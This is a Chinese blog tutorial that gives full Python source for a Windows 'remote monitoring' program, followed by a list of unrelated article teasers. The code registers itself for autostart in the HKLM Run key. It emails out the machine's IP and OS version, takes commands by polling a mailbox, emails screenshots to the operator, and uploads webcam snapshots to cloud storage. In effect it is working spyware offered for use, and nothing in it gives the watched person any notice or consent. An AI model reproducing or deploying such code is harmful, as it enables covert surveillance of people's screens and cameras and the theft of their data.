python操作摄像头截图实现远程监控的例子
发布时间:2022-01-04 19:59:42
最近用python写了一个远程监控的程序,主要功能有:
1.用邮件控制所以功能
2.可以对屏幕截图,屏幕截图发送到邮箱
3.可以用摄像头获取图片,这些图片上传到七牛
4.开机自启动
#
#coding by loster
#
import win32api
import win32con
import platform
import socket
import time
import os
import smtplib
import poplib
from VideoCapture import Device
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import poplib,email
from email.header import decode_header
from PIL import ImageGrab
import qiniu.conf
import qiniu.io
import qiniu.rs
#去七牛申请
qiniu.conf.ACCESS_KEY = ""
qiniu.conf.SECRET_KEY = ""
#获取ip
def getIP():
ip=socket.gethostbyname(socket.gethostname())
return ip
#获取操作系统版本、
def getSystemVersion():
return platform.platform()
def send_Information(ip,system_version):
info='ip:'+ip+' '+'system version:'+system_version
print info
smtp=smtplib.SMTP()
smtp.connect('smtp.sina.com')
smtp.login('sender@sina.com','***') #改成自己的邮箱和密码
smtp.sendmail('sender@sina.com','reveicer@qq.com',ip+' '+system_version)#把接收邮箱改成自己另外一个邮箱
#截图,图片名为截图时间
def screen_capture():
#获取截图时间
pic_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
#pic_name='screen_capture'+time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic_name='screen'+pic_time+'.jpg'
pic = ImageGrab.grab()
pic.save('%s' % pic_name)
print pic_name
#发送图片
send_Img(pic_time,pic_name)
print pic_name
os.remove(pic_name)#删除图片
#发送截图图片到邮箱
def send_Img(pic_time,pic_name):
msgRoot = MIMEMultipart('related')
msgRoot['Subject'] = pic_time
msgText = MIMEText('<b>capture</b> <br><img src="cid:image1">','html','utf-8')
msgRoot.attach(msgText)
#fp = open('F:\\1.jpg', 'rb')
fp = open(pic_name, 'rb')
msgImage = MIMEImage(fp.read())
fp.close()
msgImage.add_header('Content-ID', '<image1>')
msgRoot.attach(msgImage)
smtp = smtplib.SMTP()
smtp.connect('smtp.sina.com','25')
smtp.login("sender@sina.com","*****")
smtp.sendmail("sender@sina.com","receiver@qq.com", msgRoot.as_string())
smtp.quit()
print 'send success'
#摄像头截图,每隔SLEEP_TIME秒截取一张
def camera_capture():
#抓取频率
SLEEP_TIME=3
i=0
cam=Device(devnum=0, showVideoWindow=0)
while i<10:
cam_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
cam_name='camera'+cam_time+'.jpg'
cam.saveSnapshot(cam_name,3,1,'bl')
camera_upload(cam_name)
print str(i)+cam_name
os.remove(cam_name)
time.sleep(SLEEP_TIME)
i+=1
#上传到七牛
def camera_upload(file):
policy = qiniu.rs.PutPolicy('iloster') #空间名,iloster是我的空间名
uptoken = policy.token()
ret, err = qiniu.io.put_file(uptoken, None, file)
if err is not None:
sys.stderr.write('error: %s ' % err)
#获取最新邮件
def accept_mail():
pop=poplib.POP3_SSL('pop.qq.com')
pop.user('receiver@qq.com')
pop.pass_('*****')
#获取邮件数目
(num,totalSize)=pop.stat()
#获取最新的邮件
(heard,msg,octets)=pop.retr(num)
mail=email.message_from_string("\n".join(msg))
subject=email.Header.decode_header(mail['subject'])[0][0] #标题
pop.quit()
return subject
#获得程序的路径
def getPath():
path=os.getcwd()+'\Remote.exe' #最后打包的exe程序名必须为Remote.exe,或者把这里改一下
print path
return path
#添加开机自启动,在注册表里注册
def add_start(path):
subkey='SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
key=win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,subkey,0,win32con.KEY_ALL_ACCESS)
#print win32api.RegQueryValueEx(key,'python')
win32api.RegSetValueEx(key,'python',0,win32con.REG_SZ,path)
print win32api.RegQueryValueEx(key,'python')
if __name__=='__main__':
add_start(getPath()) #添加开机自启动
send_Information(getIP(),getSystemVersion())
while 1: #不断的监听
if accept_mail()=='screen': #当获取的邮件主题为screen时,截取屏幕信息
screen_capture()
elif accept_mail()=='camera':
camera_capture()
注意:
1.我的发送邮箱是sina邮箱,接收邮箱是qq邮箱,这样做是因为微信可以绑定qq邮箱。
2.accept_mail()监听的邮箱是自己的接收邮箱,就是我用的qq邮箱
3.当监听到screen时,开始屏幕截图并发送到邮箱,由于监听的是最新的邮件,当图片发送带邮箱时,获取的邮件主题不是screen了,应该会停止截图,最后只会截取一张图片,继续保持监听状态。但实际由于网络的原因,发送的邮件会有延迟,所以,实际截取的图片会有很多张
4.当监听到camera时,会用摄像头截图,如果把while i<10,改成i=1,会让摄像头一直截图,并使其他命令失效,所以我i<10,就是每获取一次命令,截图10张


猜你喜欢
- 写在前面QQ群里偶然看到群友问这个问题, pandas读取大文件时怎么才能获取进度? 我第一反应是: 除非pandas的read_excel
- Matlab函数对应关系(Numpy)首先给出官网链接,其中详细说明了在Python下如何用Numpy实现Matlab下相同的函数功能。博主
- 一、xajax与其它ajax框架的比较 xajax功能很简单,但很灵活!~它不象其它一些大的框架,功能确实强大,但执行速度不敢恭维。。功能虽
- windows.open()方法详解:window.open(URL,name,features,replace)用于载入指定的URL到新的
- rpc 包提供了一个方法来通过网络或者其他的I/O连接进入对象的外部方法. 一个server注册一个对象, 标记它成为可见对象类型名字的服务
- 前言利用Python的ffmpy库提取视频中的音频。本文提供工具类代码。环境依赖需要安装ffmpy,安装指令:pip install ffm
- bootstrap里面有个激活按钮的时候,按钮变成不可用的;按照官网里面的方法介绍是在button按钮加个 data-loading-tex
- python基础pandas的drop()用法做数据处理得时候用到了pandas,体验不错,记录如下:import pandas as pd
- 本文实例讲述了PHP实现从上往下打印二叉树的方法。分享给大家供大家参考,具体如下:问题从上往下打印出二叉树的每个节点,同层节点从左至右打印。
- 大家可以在Github上clone全部源码。Github:https://github.com/williamzxl/Scrapy_Craw
- 我就废话不多说了,直接上代码吧!import torchimport torch.nn.functional as Fimport nump
- 前言前几天在Python交流群里边,大佬分享了一个有趣的代码,用于定时发送菜谱分享,觉得挺有意思,这里拿出来给大家分享。实现思路实现思路倒是
- 一、普通进度条import sysimport time# 普通进度条# 在代码迭代运行中进行统计计算,并使用格式化字符串输出代码运行进度d
- 最近学习了一点python,那就试着做一做简单的编程练习。 首先是这个编程的指导图,如下:对的,类似一个简单区块链的模拟。 代码如下:cla
- Python下有许多款不同的 Web 框架。Django是重量级选手中最有代表性的一位。许多成功的网站和APP都基于Django。Djang
- 在我们编程过程中,经常会用到与时间相关的各种务需求,下面来介绍 golang 中有关时间的一些基本用法,我们从 time 的几种 type
- python除了关键字(keywords)和内置的类型和函数(builtins),更多的功能是通过libraries(即modules)来提
- 本文实例分析了php文件操作的方法。分享给大家供大家参考,具体如下:一、删除文件unlink()语法: int unlink(string
- 前言简单学习过网络爬虫,只是之前都是照着书上做并发,大概能理解,却还是无法自己用到自己项目中,这里自己研究实现一个网页嗅探HTML5播放控件
- 单例模式单例模式是一种常用的模式,有一些对象我们往往只需要一个,比如线程池、全局缓存、浏览器中的 window 对象等。在 JavaScri